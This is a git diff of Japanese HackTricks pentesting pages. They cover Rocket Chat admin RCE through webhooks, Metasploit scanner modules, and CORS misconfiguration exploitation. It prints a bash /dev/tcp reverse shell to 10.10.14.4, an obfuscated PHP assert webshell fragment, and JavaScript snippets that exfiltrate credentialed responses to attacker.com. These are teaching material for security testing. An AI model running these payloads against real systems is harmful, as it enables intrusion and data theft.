@ -412,7 +411,7 @@ $____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -420,12 +419,12 @@ $___($_[_]); // ASSERT($_POST[_]);
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出する。
</details>

View file

@ -4,53 +4,53 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する。
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出**してください
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## RCE
Rocket Chat内で管理者であればRCEを取得できます。
Rocket Chat内で管理者権限を持っている場合、RCEを取得できます。
- **`Integrations`** に移動し、**`New Integration`** を選択し、**`Incoming WebHook`** または **`Outgoing WebHook`** を選択します。
- `/admin/integrations/incoming`
* **`Integrations`** に移動し、**`New Integration`** を選択し、**`Incoming WebHook`** または **`Outgoing WebHook`** を選択します。
* `/admin/integrations/incoming`
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
- [ドキュメント](https://docs.rocket.chat/guides/administration/admin-panel/integrations)によると、両方ともES2015 / ECMAScript 6[基本的にJavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))を使用してデータを処理します。したがって、[JavaScript用のrevシェル](../../generic-methodologies-and-resources/shells/linux.md#nodejs)を取得しましょう。
* [ドキュメント](https://docs.rocket.chat/guides/administration/admin-panel/integrations)によると、両方ともES2015 / ECMAScript 6[基本的にJavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c))を使用してデータを処理します。そのため、[nodejs](../../generic-methodologies-and-resources/shells/linux.md#nodejs)の[JavaScript用revシェル](../../generic-methodologies-and-resources/shells/linux.md#nodejs)を取得しましょう。
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
* WebHookの設定(チャンネルと投稿者名が存在する必要があります):
* WebHookを設定します(チャンネルと投稿者名が存在する必要があります):
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
* WebHookスクリプトの設定
* WebHookスクリプトを設定します
<figure><img src="../../.gitbook/assets/image (569).png" alt=""><figcaption></figcaption></figure>
* 変更を保存
* 生成されたWebHook URLを取得
* 変更を保存します
* 生成されたWebHook URLを取得します
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
* curlを使用して呼び出し、リバースシェルを受け取るはずです
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -61,9 +61,9 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -2,17 +2,17 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -26,9 +26,10 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
有効な資格情報を見つけた場合、より多くのMetasploitスキャナーモジュールを使用して情報を取得できます。
```markdown
もし有効な資格情報を見つけた場合、より多くのMetasploitスキャナーモジュールを使用して情報を取得できます。
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -39,10 +40,11 @@ msf> auxiliary/scanner/vmware/vmware_http_login
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
```

View file

@ -7,26 +7,26 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォロー**する。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CORSとは
Cross-Origin Resource SharingCORS標準は、**サーバーがアクセスを許可する対象**と**外部ソースから許可されるHTTPリクエストメソッド**を定義できるようにします。
Cross-Origin Resource SharingCORS標準は、**サーバーがアクセスを許可するユーザー**と**外部ソースから許可されるHTTPリクエストメソッド**を定義できるようにします。
**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**80を共有する必要があると規定しています。このポリシーでは、同じドメインとポートのウェブページのみがリソースにアクセスできます。
**同一オリジン**ポリシーは、リソースを要求するサーバーとリソースをホストするサーバーが同じプロトコル(例:`http://`)、ドメイン名(例:`internal-web.com`)、および**ポート**80を共有することを義務付けます。このポリシーの下では、同じドメインとポートのウェブページのみがリソースにアクセスできます。
`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用した場合の例
`http://normal-website.com/example/example.html`のコンテキストで同一オリジンポリシーを適用すると、次のようになります
| アクセスされURL | アクセスが許可される |
| アクセスされURL | アクセスが許可される? |
| ----------------------------------------- | --------------------------------------- |
| `http://normal-website.com/example/` | はい:同一のスキーム、ドメイン、およびポート |
| `http://normal-website.com/example2/` | はい:同一のスキーム、ドメイン、およびポート |
@ -35,17 +35,17 @@ Cross-Origin Resource SharingCORS標準は、**サーバーがアクセス
| `http://www.normal-website.com/example/` | いいえ:異なるドメイン |
| `http://normal-website.com:8080/example/` | いいえ:異なるポート\* |
\*Internet Explorerは同一オリジンポリシーの適用時にポート番号を無視し、このアクセスを許可します。
\*Internet Explorerは同一オリジンポリシーのポート番号を無視し、このアクセスを許可します。
### `Access-Control-Allow-Origin`ヘッダー
このヘッダーは**複数のオリジン**、**`null`**値、またはワイルドカード**`*`**を許可できます。ただし、**どのブラウザも複数のオリジンをサポートしておらず**、ワイルドカード`*`の使用は**制限**の対象です(ワイルドカードは単独で使用する必要があり、`Access-Control-Allow-Credentials: true`と併用することは許可されていません)。
このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対するサーバーから**発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。
このヘッダーは、ウェブサイトによって開始されたクロスドメインリソースリクエストに対する**サーバーによって発行**され、ブラウザは自動的に`Origin`ヘッダーを追加します。
### `Access-Control-Allow-Credentials`ヘッダー
**デフォルト**では、クロスオリジンリクエストはクッキーやAuthorizationヘッダーなどの資格情報なしで行われます。ただし、クロスドメインサーバーは、`Access-Control-Allow-Credentials`ヘッダーを**`true`**に設定することで、資格情報が送信された場合に応答の読み取りを許可できます。
**デフォルト**では、クロスオリジンリクエストはクッキーやAuthorizationヘッダーなどの資格情報なしで行われます。ただし、クロスドメインサーバーは、`Access-Control-Allow-Credentials`ヘッダーを**`true`**に設定して資格情報が送信された場合に、応答の読み取りを許可できます。
`true`に設定されている場合、ブラウザは資格情報クッキー、認証ヘッダー、またはTLSクライアント証明書を送信します。
```javascript
@ -78,13 +78,13 @@ xhr.send('<person><name>Arun</name></person>');
### クロスドメイン通信におけるプリフライトリクエストの理解
特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**HEAD、GET、POST以外のもの、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この事前リクエストは、**`OPTIONS`**メソッドを利用して、サーバーにクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。
特定の条件下でクロスドメインリクエストを開始する際、**標準外のHTTPメソッド**HEAD、GET、POST以外のもの、新しい**ヘッダー**の導入、または特別な**Content-Typeヘッダー値**の使用などがある場合、プリフライトリクエストが必要になることがあります。この予備リクエストは、**`OPTIONS`**メソッドを利用して、サーバーにクロスオリジンリクエストの意図、使用するHTTPメソッドやヘッダーなどを通知する役割を果たします。
**Cross-Origin Resource Sharing (CORS)** プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) で提供されている包括的なガイドを参照してください。
**クロスオリジンリソース共有CORS**プロトコルは、このプリフライトチェックを義務付けており、許可されたメソッド、ヘッダー、およびオリジンの信頼性を検証することで、要求されたクロスオリジン操作の実行可能性を判断します。プリフライトリクエストが不要となる条件についての詳細は、[**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) が提供する包括的なガイドを参照してください。
重要な点として、**プリフライトリクエストの不在は、レスポンスが認証ヘッダーを含む必要性を無効にするものではありません**。これらのヘッダーがないと、ブラウザはクロスオリジンリクエストからのレスポンスを処理する能力を失います。
以下は、`PUT`メソッドとカスタムヘッダー`Special-Request-Header`を使用するプリフライトリクエストの例です
以下は、`PUT`メソッドと`Special-Request-Header`というカスタムヘッダーを使用するプリフライトリクエストの例を考えてみましょう
```
OPTIONS /info HTTP/1.1
Host: example2.com
@ -93,7 +93,7 @@ Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
以下は、サーバーが受け入れるメソッド、許可されるオリジン、およびその他のCORSポリシーの詳細を示すヘッダーを返す可能性があります
以下のように、サーバーは受け入れられるメソッド、許可されるオリジン、およびその他のCORSポリシーの詳細を示すヘッダーを返す可能性があります:
```markdown
HTTP/1.1 204 No Content
...
@ -104,21 +104,21 @@ Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
* **`Access-Control-Allow-Headers`**: このヘッダーは、実際のリクエスト中に使用できるヘッダーを指定します。サーバーによって設定され、クライアントからのリクエストで許可されたヘッダーを示します。
* **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダーに加えて、どのヘッダーがレスポンスの一部として公開されるかをクライアントに通知します。
* **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用される可能性がある最大時間(秒単位)を設定します。
* **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーについてサーバーに通知するために設定されます。
* **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントによって設定され、実際のリクエストで使用されるHTTPメソッドを示します。
* **`Access-Control-Expose-Headers`**: このヘッダーを通じて、サーバーは単純なレスポンスヘッダーに加えてレスポンスの一部として公開できるヘッダーについてクライアントに通知します。
* **`Access-Control-Max-Age`**: このヘッダーは、プリフライトリクエストの結果をキャッシュできる期間を示します。サーバーは、プリフライトリクエストによって返される情報が再利用されることができる最大時間(秒単位)を設定します。
* **`Access-Control-Request-Headers`**: プリフライトリクエストで使用されこのヘッダーは、クライアントが実際のリクエストで使用したいHTTPヘッダーについてサーバーに通知するために設定されます。
* **`Access-Control-Request-Method`**: このヘッダーもプリフライトリクエストで使用され、クライアントが実際のリクエストで使用するHTTPメソッドを示すために設定されます。
* **`Origin`**: このヘッダーはブラウザによって自動的に設定され、クロスオリジンリクエストの起源を示します。サーバーは、CORSポリシーに基づいて受信リクエストを許可するか拒否するかを評価するために使用されます。
通常(コンテンツタイプと設定されたヘッダーに応じて)、**GET/POSTリクエストではプリフライトリクエストが送信されません**(リクエストは**直接**送信されます)。ただし、レスポンスの**ヘッダー/本文にアクセス**したい場合は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\
**通常コンテンツタイプと設定されたヘッダーに応じて、GET/POSTリクエストではプリフライトリクエストが送信されません**(リクエストは**直接**送信されます)。ただし、**レスポンスのヘッダー/本文にアクセスしたい場合**は、それを許可する _Access-Control-Allow-Origin_ ヘッダーを含める必要があります。\
**したがって、CORSはCSRFに対して保護されていませんただし、役立つ場合があります。**
### **ローカルネットワークリクエストのプリフライトリクエスト**
1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知するマーカーとして機能します。
2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを伝えます。異なるネットワーク境界を越えてリソースを共有することを許可し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。
1. **`Access-Control-Request-Local-Network`**: このヘッダーは、クライアントのリクエストに含まれ、問い合わせがローカルネットワークリソースを対象としていることを示します。サーバーにリクエストがローカルネットワーク内から発信されたことを通知する目印として機能します。
2. **`Access-Control-Allow-Local-Network`**: サーバーはこのヘッダーを利用して、要求されたリソースがローカルネットワーク外のエンティティと共有できることを伝えます。異なるネットワーク境界を越えてリソースを共有するための許可を示し、セキュリティプロトコルを維持しながら制御されたアクセスを確保します。
**ローカルネットワークリクエストを許可する有効な応答**は、応答にも `Access-Controls-Allow-Local_network: true` ヘッダーを含める必要があります。
**ローカルネットワークリクエストを許可する有効な応答**は、応答にも `Access-Controls-Allow-Local_network: true` ヘッダーを含む必要があります:
```
HTTP/1.1 200 OK
...
@ -130,22 +130,22 @@ Content-Length: 0
...
```
{% hint style="warning" %}
**注意**Linuxの **0.0.0.0** IP はこれらの要件を **バイパス** してlocalhostにアクセスするために機能します。このIPアドレスは「ローカル」と見なされないためです。
**注意**Linuxの **0.0.0.0** IP は、そのIPアドレスが「ローカル」と見なされないため、ローカルホストにアクセスするためにこれらの要件を **バイパス** するために機能します。
また、**ローカルネットワークの要件をバイパス** することも可能です。これは、**ローカルエンドポイントのパブリックIPアドレス**たとえば、ルーターのパブリックIPを使用する場合に当てはまります。なぜなら、いくつかの場合には、**ローカルネットワークからアクセスされている場合**、たとえ**パブリックIP**にアクセスされていても、アクセスが許可されるからです。
また、ローカルネットワークの要件を **バイパスする** のも可能です。これは、ローカルエンドポイントの **パブリックIPアドレス**たとえば、ルーターのパブリックIPを使用する場合に当てはまります。なぜなら、いくつかの場合、**パブリックIP** にアクセスされている場合でも、それが **ローカルネットワーク** からアクセスされている場合にはアクセスが許可されるからです。
{% endhint %}
## 悪用可能なミス構成
`Access-Control-Allow-Credentials`**`true`** に設定することが、ほとんどの **実際の攻撃**必要なことが観察されています。この設定により、ブラウザが資格情報を送信し、応答を読み取ることが許可され、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。
`Access-Control-Allow-Credentials`**`true`** に設定することが、ほとんどの **実際の攻撃**対する前提条件であることが観察されています。この設定により、ブラウザが資格情報を送信し、応答を読み取ることが可能となり、攻撃の効果が向上します。これがないと、ブラウザにリクエストを発行させる利点が自分で行うよりも低下し、ユーザーのクッキーを利用することが不可能になります。
### 例外:ネットワークロケーションを認証として悪用する
### 例外:認証としてのネットワークロケーションの悪用
被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用できます。
被害者のネットワークロケーションが認証の形式として機能する例外が存在します。これにより、被害者のブラウザをプロキシとして使用して、IPベースの認証を回避してイントラネットアプリケーションにアクセスすることが可能となります。この方法はDNSリバインディングと同様の影響を持ちますが、より簡単に悪用することができます。
### `Access-Control-Allow-Origin``Origin` の反映
### `Access-Control-Allow-Origin` `Origin` の反映
`Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実際のシナリオは、これらのヘッダーを組み合わせる制限があるため、理論的にはあり得ないです。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Origin` ヘッダーの値をコピーして `Access-Control-Allow-Origin` ヘッダーを動的に生成することがあります。このアプローチは、攻撃者が正規のように見えるドメインを使用して検証ロジックを欺くことで、脆弱性を導入する可能性があります。
`Origin` ヘッダーの値が `Access-Control-Allow-Origin` に反映される実世界のシナリオは、これらのヘッダーを組み合わせる制限があるため理論的にはありえません。ただし、複数のURLに対してCORSを有効にしたい開発者は、`Access-Control-Allow-Origin` ヘッダーを `Origin` ヘッダーの値コピーして動的に生成することがあります。このアプローチは、特に攻撃者が正規のように見せるために設計されたドメインを使用する場合、検証ロジックを欺く可能性があるため、脆弱性を導入する可能性があります。
```html
<script>
var req = new XMLHttpRequest();
@ -160,7 +160,7 @@ location='/log?key='+this.responseText;
```
### `null`オリジンの悪用
`null`オリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定されており、固有の位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、それにより、サンドボックス化されたiframeを介して任意のウェブサイトが`null`オリジンを模倣することが可能となり、CORS制限をバイパスすることができます。
`null`オリジンは、リダイレクトやローカルHTMLファイルなどの状況を指定するために指定されており、固有の位置を占めています。一部のアプリケーションは、ローカル開発を容易にするためにこのオリジンをホワイトリストに登録していますが、それにより、サンドボックス化されたiframeを介して任意のウェブサイトが`null`オリジンを模倣することが可能となり、これによりCORS制限がバイパスされます。
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
@ -188,11 +188,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
```
### 正規表現バイパステクニック
ドメインのホワイトリストに遭遇した場合、攻撃者のドメインをホワイトリストに追加したり、サブドメインの乗っ取り脆弱性を悪用したりするなど、バイパスの機会をテストすることが重要です。さらに、ドメインの検証に使用される正規表現は、ドメインの命名規則の微妙な点を見落とす可能性があり、さらなるバイパスの機会を提供します。
ドメインのホワイトリストに遭遇した場合、攻撃者のドメインをホワイトリストに追加したり、サブドメインの乗っ取り脆弱性を悪用したりするなど、バイパスの機会をテストすることが重要です。さらに、ドメインの検証に使用される正規表現は、ドメインの命名規則の微妙な点を見落とす可能性があり、さらなるバイパスの機会を提供します。
### 高度な正規表現バイパス
正規表現パターンは通常、英数字、ドット(.)、ハイフン(-の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメイン検証ロジックを回避するために悪用される方法を示しています。
通常、正規表現パターンは、英数字、ドット(.)、ハイフン(-の文字に焦点を当てており、他の可能性を無視しています。たとえば、ブラウザや正規表現パターンによって異なる解釈される文字を含むドメイン名は、セキュリティチェックをバイパスすることができます。Safari、Chrome、Firefoxがサブドメイン内のアンダースコア文字を処理する方法は、このような相違点がドメイン検証ロジックを回避するために悪用される方法を示しています。
**このバイパスチェックの詳細情報と設定については:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **および** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
@ -200,9 +200,9 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
### サブドメイン内のXSSから
開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対する防御メカニズムを実装することがよくあります。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれる脆弱なサブドメインがあるだけで、XSSクロスサイトスクリプティングなどの他の脆弱性を介してCORSの悪用への道が開かれる可能性があります。
開発者は、情報をリクエストすることが許可されているドメインをホワイトリストに登録することで、CORSの悪用に対抗する防御メカニズムをしばしば実装します。しかし、これらの予防措置にもかかわらず、システムのセキュリティは万全ではありません。ホワイトリストに含まれるドメイン内に脆弱なサブドメインが1つでも存在すると、XSSクロスサイトスクリプティングなどの他の脆弱性を介してCORSの悪用への道が開かれる可能性があります。
例として、`requester.com`というドメインが、別のドメインである`provider.com`からリソースにアクセスすることが許可されるようにホワイトリストに登録されているシナリオを考えてみましょう。サーバーサイドの構成は次のようになるかもしれません:
